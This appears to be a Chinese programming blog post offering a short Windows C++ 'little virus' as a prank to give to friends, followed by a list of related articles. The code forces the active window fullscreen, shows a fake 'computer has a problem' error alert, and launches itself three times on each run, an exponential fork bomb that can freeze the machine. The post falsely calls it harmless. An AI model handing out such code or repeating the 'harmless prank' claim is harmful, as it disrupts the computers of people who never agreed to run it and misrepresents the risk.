C++小病毒

C++小病毒(注:对电脑无过大伤害)

短短行,创造奇迹!

把这个文件命名为virus.exe就可以使用了。

cpp 复制代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
	HWND hwnd = GetForegroundWindow();
	    int cx = GetSystemMetrics(SM_CXSCREEN);//需要根据电脑的大小设置加减
	    int cy = GetSystemMetrics(SM_CYSCREEN);//需要根据电脑的大小设置加减
		LONG_PTR last_style=GetWindowLongPtr(hwnd,GWL_STYLE);
	    RECT last_rect;
	    GetWindowRect(hwnd,&last_rect);
	    LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);
	    SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE)& ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);
	    SetWindowPos(hwnd, NULL, 0, 0, cx, cy, 0);
	    UpdateWindow(hwnd);
	MessageBox(0,"电脑出现了问题!","警报",MB_ICONERROR);
	system("start virus.exe");
	system("start virus.exe");
	system("start virus.exe");
	return 0;
}

无实质性伤害,推荐送给好友!

相关推荐
a程序小傲13 小时前
京东Java面试被问:基于Gossip协议的最终一致性实现和收敛时间
java·开发语言·前端·数据库·python·面试·状态模式
tqs_1234513 小时前
Spring Boot 的自动装配机制和 Starter 的实现原理
开发语言·python
程序员小白条13 小时前
面试 Java 基础八股文十问十答第二十二期
java·开发语言·数据库·面试·职场和发展·毕设
编程大师哥13 小时前
JavaScript 和 Python 哪个更适合初学者?
开发语言·javascript·python
万象.13 小时前
redis客户端安装与实现C++版本
数据库·c++·redis
建军啊13 小时前
php伪协议、代码审计工具和实战
开发语言·php
WYH28713 小时前
为什么在cubeide里勾选了can1,生成的工程里没有can.c?
c语言·开发语言
13 小时前
java关于键盘录入
java·开发语言
马猴烧酒.13 小时前
JAVA后端对象存储( 图片分享平台)详解
java·开发语言·spring·腾讯云
wearegogog12313 小时前
基于MATLAB的D2D仿真场景实现
开发语言·网络·matlab